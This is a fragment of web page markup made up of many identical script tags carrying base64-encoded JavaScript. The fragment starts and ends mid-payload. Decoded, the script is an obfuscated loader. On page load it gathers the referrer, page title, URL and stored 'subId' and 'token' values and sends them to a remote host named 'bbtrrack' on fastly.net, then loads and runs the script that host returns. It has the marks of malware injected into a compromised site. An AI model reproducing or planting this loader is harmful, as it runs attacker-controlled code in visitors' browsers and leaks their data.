V0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N